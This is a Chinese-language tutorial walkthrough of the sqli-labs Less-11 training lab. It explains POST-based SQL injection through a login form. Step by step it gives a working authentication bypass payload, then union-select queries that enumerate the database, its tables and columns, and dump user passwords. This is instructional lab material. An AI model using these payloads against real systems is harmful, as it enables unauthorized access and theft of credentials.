sqli-labs之Less-11讲解(POST注入-单引号)

前言:

从这道题开始呢,就是该POST基础注入了。

1.随便进行登录测试

随便输入账号密码进行测试一下返回结果,发现返回为空,没有任何有效信息返回,那么我们就开始构造万能密码进行尝试。在这里其实有一个SQL语句,真实环境下一般没有,这里这个SQL语句只能算是题目提示。

2.构造账号密码

用户名:a' or 1=1 #
密码:a

这里的密码是随意输入的,以下同是。账号则是我们精心构造的一个永为真的情况,a这个用户是不存在的,但是执行SQL语句时,查询不到a这个用户,然后继续or执行了1=1这条SQL语句,发现为真,#井号注释符把后面的语句全部给注释掉了,语句也就闭合了,完美返回用户名、密码。我们把上面的SQL放进Navicat在这里面执行以下更直观一些:
sqli-labs之Less-11讲解(POST注入)
可以看到#后面的SQL语句都是被注释掉了的,并且因为为or 1=1为真,返回了所有的数据库的结果(在PHP页面上只能看到一条是因为在Less-11/index.php文件中使用了mysql_fetch_array函数,限制返回一条数据)

3.查询字段

用户名:a' or 1=1 order by 2 #

正确返回到我们想要的结果,经猜测存在两个字段。

4.查询显示位

a' and 1=1 union select 1,2 #

有细心的小伙伴们可能已经发现了上面我们一直用的or而这里改用了and,我们上面用or的原因是为了确保1=1这条SQL语句能够执行,所以用or,而这里用and是因为我们构造的用户名a在数据库中根本不存在(如果不确定数据库中是否存在可以随便起一个很长很长的名字),如果继续用or的话会返回所有的结果,而我们union select查询的结果就会排在最下面,就不会显示在网页页面上了,如图:
sqli-labs之Less-11讲解(POST注入)
而使用and的话,就保证了union select其前面的SQL语句返回为空,然后继续执行union select返回其结果,如图:
sqli-labs之Less-11讲解(POST注入)
或者你使用or 1=2效果也都是一样的,都是为了保证前面的返回结果为空。将上面的构造的SQL输入在用户名处,随便写上密码便可以看到显示位了。

5.查询数据库名

a' and 1=1 union select database(),user() #

sqli-labs之Less-11讲解(POST注入)
可以看到已经返回了数据库名等信息

6.查询表名

a' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

7.查询字段

a' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

其中users是上面爆出来的表的名字

8.查询数据

a' and 1=1 union select 1,group_concat(password) from users #

其中password又是上面爆出来的字段名字

发表评论

电子邮件地址不会被公开。必填项已用 * 标注